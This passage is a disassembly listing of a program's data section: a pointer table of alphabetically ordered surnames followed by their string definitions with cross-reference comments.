dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry_0 ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight_0 ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda_0 ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
dd offset aMaccormac ; "Maccormac"
dd offset aMacdonald ; "Macdonald"
dd offset aMaceachern ; "Maceachern"
dd offset aMacintyre ; "Macintyre"
dd offset aMackenney ; "Mackenney"
dd offset aMacmillan ; "MacMillan"
dd offset aMacy ; "Macy"
dd offset aMadigan ; "Madigan"
dd offset aMaggio ; "Maggio"
dd offset aMahony ; "Mahony"
dd offset aMaier ; "Maier"
dd offset aMaineHershey ; "Maine-Hershey"
dd offset aMaisano ; "Maisano"
dd offset aMalatesta ; "Malatesta"
dd offset aMaller ; "Maller"
dd offset aMalova ; "Malova"
dd offset aManalis ; "Manalis"
dd offset aMandel ; "Mandel"
dd offset aManganiello ; "Manganiello"
dd offset aMantovan ; "Mantovan"
dd offset aMarch ; "March"
dd offset aMarchbanks ; "Marchbanks"
dd offset aMarcus ; "Marcus"
dd offset aMargalit ; "Margalit"
dd offset aMargetts ; "Margetts"
dd offset aMarques ; "Marques"
dd offset aMartinez ; "Martinez"
dd offset aMartochio ; "Martochio"
dd offset aMarton ; "Marton"
dd offset aMarubini ; "Marubini"
dd offset aMass ; "Mass"
dd offset aMatalka ; "Matalka"
dd offset aMatarazzo ; "Matarazzo"
dd offset aMatsukata ; "Matsukata"
dd offset aMattson ; "Mattson"
dd offset aMauzy ; "Mauzy"
dd offset aMay ; "May"
dd offset aMazzali ; "Mazzali"
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick_0 ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush_0 ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange_0 ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
off_435248 dd offset aSwindle ; DATA XREF: .nsp0:off_43D9D4o
; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
dd offset aTroiani ; "Troiani"
dd offset aTroy ; "Troy"
dd offset aTruss ; "Truss"
dd offset aTsiatis ; "Tsiatis"
dd offset aTsomides ; "Tsomides"
dd offset aTsukurov ; "Tsukurov"
dd offset aTuck ; "Tuck"
dd offset aTudge ; "Tudge"
dd offset aTukan ; "Tukan"
dd offset aTurano ; "Turano"
dd offset aTurek ; "Turek"
dd offset aTuttle_0 ; "Tuttle"
dd offset aTwells ; "Twells"
dd offset aTzamarias ; "Tzamarias"
dd offset aUllman ; "Ullman"
dd offset aUntermeyer ; "Untermeyer"
dd offset aUpsdell ; "Upsdell"
dd offset aUrban ; "Urban"
dd offset aUrdangBrown ; "Urdang-Brown"
dd offset aUsdan ; "Usdan"
dd offset aUzuner ; "Uzuner"
dd offset aVacca ; "Vacca"
dd offset aWaite ; "Waite"
dd offset aValberg ; "Valberg"
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
dd offset aVanallen ; "vanAllen"
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
dd offset aVasquez ; "Vasquez"
dd offset aWaugh ; "Waugh"
dd offset aWeighart ; "Weighart"
dd offset aWeingarten ; "Weingarten"
dd offset aWeinhaus ; "Weinhaus"
dd offset aWeissbourd ; "Weissbourd"
dd offset aWeissman ; "Weissman"
dd offset aVelasquez ; "Velasquez"
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite_0 ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee_0 ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
dd offset aZahedi ; "Zahedi"
dd offset aZangwill ; "Zangwill"
dd offset aZegans ; "Zegans"
dd offset aZerbini ; "Zerbini"
dd offset aZoldak ; "Zoldak"
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
aZytowski db 'Zytowski',0 ; DATA XREF: .nsp0:00435480o
align 10h
aZwiers db 'Zwiers',0 ; DATA XREF: .nsp0:0043547Co
align 4
aZurn db 'Zurn',0 ; DATA XREF: .nsp0:00435478o
align 10h
aZucconi db 'Zucconi',0 ; DATA XREF: .nsp0:00435474o
aZoldak db 'Zoldak',0 ; DATA XREF: .nsp0:00435470o
align 10h
aZerbini db 'Zerbini',0 ; DATA XREF: .nsp0:0043546Co
aZegans db 'Zegans',0 ; DATA XREF: .nsp0:00435468o
align 10h
aZangwill db 'Zangwill',0 ; DATA XREF: .nsp0:00435464o
align 4
aZahedi db 'Zahedi',0 ; DATA XREF: .nsp0:00435460o
align 4
aZachary db 'Zachary',0 ; DATA XREF: .nsp0:0043545Co
aYu db 'Yu',0 ; DATA XREF: .nsp0:00435458o
align 10h
aYoukSee db 'Youk-See',0 ; DATA XREF: .nsp0:00435454o
align 4
aYoo db 'Yoo',0 ; DATA XREF: .nsp0:00435450o
aYoffe db 'Yoffe',0 ; DATA XREF: .nsp0:0043544Co
align 4
aYetiv db 'Yetiv',0 ; DATA XREF: .nsp0:00435448o
align 10h
aYesson db 'Yesson',0 ; DATA XREF: .nsp0:00435444o
align 4
aYedidia db 'Yedidia',0 ; DATA XREF: .nsp0:00435440o
aYbarra db 'Ybarra',0 ; DATA XREF: .nsp0:0043543Co
align 4
aYates db 'Yates',0 ; DATA XREF: .nsp0:00435438o
align 10h
aYarchuk db 'Yarchuk',0 ; DATA XREF: .nsp0:00435434o
aYankee_0 db 'Yankee',0 ; DATA XREF: .nsp0:00435430o
align 10h
aYamane db 'Yamane',0 ; DATA XREF: .nsp0:0043542Co
align 4
aYacono db 'Yacono',0 ; DATA XREF: .nsp0:00435428o
align 10h
aVotey db 'Votey',0 ; DATA XREF: .nsp0:00435424o
align 4
aVorhaus db 'Vorhaus',0 ; DATA XREF: .nsp0:00435420o
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: .nsp0:0043541Co
align 10h
aWoods db 'Woods',0 ; DATA XREF: .nsp0:00435418o
align 4
aWooden db 'Wooden',0 ; DATA XREF: .nsp0:00435414o
align 10h
aWoo db 'Woo',0 ; DATA XREF: .nsp0:00435410o
aVonhoffman db 'VonHoffman',0 ; DATA XREF: .nsp0:0043540Co
align 10h
aWolk db 'Wolk',0 ; DATA XREF: .nsp0:00435408o
align 4
aVoigt db 'Voigt',0 ; DATA XREF: .nsp0:00435404o
align 10h
aViviani db 'Viviani',0 ; DATA XREF: .nsp0:00435400o
aVitali db 'Vitali',0 ; DATA XREF: .nsp0:004353FCo
align 10h
aWilson db 'Wilson',0 ; DATA XREF: .nsp0:004353F8o
align 4
aWillstatter db 'Willstatter',0 ; DATA XREF: .nsp0:004353F4o
aVillarreal db 'Villarreal',0 ; DATA XREF: .nsp0:004353F0o
align 10h
aWilkinson db 'Wilkinson',0 ; DATA XREF: .nsp0:004353ECo
align 4
aWilkin db 'Wilkin',0 ; DATA XREF: .nsp0:004353E8o
align 4
aWilk db 'Wilk',0 ; DATA XREF: .nsp0:004353E4o
align 4
aWilhelm db 'Wilhelm',0 ; DATA XREF: .nsp0:004353E0o
aWilder db 'Wilder',0 ; DATA XREF: .nsp0:004353DCo
align 4
aVignola db 'Vignola',0 ; DATA XREF: .nsp0:004353D8o
aViens db 'Viens',0 ; DATA XREF: .nsp0:004353D4o
align 4
aWiener db 'Wiener',0 ; DATA XREF: .nsp0:004353D0o
align 4
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: .nsp0:004353CCo
aViano db 'Viano',0 ; DATA XREF: .nsp0:004353C8o
align 4
aViana db 'Viana',0 ; DATA XREF: .nsp0:004353C4o
align 10h
aWhittaker db 'Whittaker',0 ; DATA XREF: .nsp0:004353C0o
align 4
aWhitla db 'Whitla',0 ; DATA XREF: .nsp0:004353BCo
align 4
aWhite_0 db 'White',0 ; DATA XREF: .nsp0:004353B8o
align 4
aWhilton db 'Whilton',0 ; DATA XREF: .nsp0:004353B4o
aWhately db 'Whately',0 ; DATA XREF: .nsp0:004353B0o
aWetzel db 'Wetzel',0 ; DATA XREF: .nsp0:004353ACo
align 4
aWescott db 'Wescott',0 ; DATA XREF: .nsp0:004353A8o
aVerghese db 'Verghese',0 ; DATA XREF: .nsp0:004353A4o
align 4
aVenne db 'Venne',0 ; DATA XREF: .nsp0:004353A0o
align 10h
aWengret db 'Wengret',0 ; DATA XREF: .nsp0:0043539Co
aWelsh db 'Welsh',0 ; DATA XREF: .nsp0:00435398o
align 10h
aWelles db 'Welles',0 ; DATA XREF: .nsp0:00435394o
align 4
aVelasquez db 'Velasquez',0 ; DATA XREF: .nsp0:00435390o
align 4
aWeissman db 'Weissman',0 ; DATA XREF: .nsp0:0043538Co
align 10h
aWeissbourd db 'Weissbourd',0 ; DATA XREF: .nsp0:00435388o
align 4
aWeinhaus db 'Weinhaus',0 ; DATA XREF: .nsp0:00435384o
align 4
aWeingarten db 'Weingarten',0 ; DATA XREF: .nsp0:00435380o
align 4
aWeighart db 'Weighart',0 ; DATA XREF: .nsp0:0043537Co
align 10h
aWaugh db 'Waugh',0 ; DATA XREF: .nsp0:00435378o
align 4
aVasquez db 'Vasquez',0 ; DATA XREF: .nsp0:00435374o
aWasowska db 'Wasowska',0 ; DATA XREF: .nsp0:00435370o
align 4
aWarshafsky db 'Warshafsky',0 ; DATA XREF: .nsp0:0043536Co
align 4
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: .nsp0:00435368o
align 4
aVandenberg db 'Vandenberg',0 ; DATA XREF: .nsp0:00435364o
align 4
aVanzwet db 'VanZwet',0 ; DATA XREF: .nsp0:00435360o
aVanallen db 'vanAllen',0 ; DATA XREF: .nsp0:0043535Co
align 4
aWalter db 'Walter',0 ; DATA XREF: .nsp0:00435358o
align 10h
aWallenberg db 'Wallenberg',0 ; DATA XREF: .nsp0:00435354o
align 4
aWales db 'Wales',0 ; DATA XREF: .nsp0:00435350o
align 4
aValencia db 'Valencia',0 ; DATA XREF: .nsp0:0043534Co
align 10h
aValberg db 'Valberg',0 ; DATA XREF: .nsp0:00435348o
aWaite db 'Waite',0 ; DATA XREF: .nsp0:00435344o
align 10h
aVacca db 'Vacca',0 ; DATA XREF: .nsp0:00435340o
align 4
aUzuner db 'Uzuner',0 ; DATA XREF: .nsp0:0043533Co
align 10h
aUsdan db 'Usdan',0 ; DATA XREF: .nsp0:00435338o
align 4
aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: .nsp0:00435334o
align 4
aUrban db 'Urban',0 ; DATA XREF: .nsp0:00435330o
align 10h
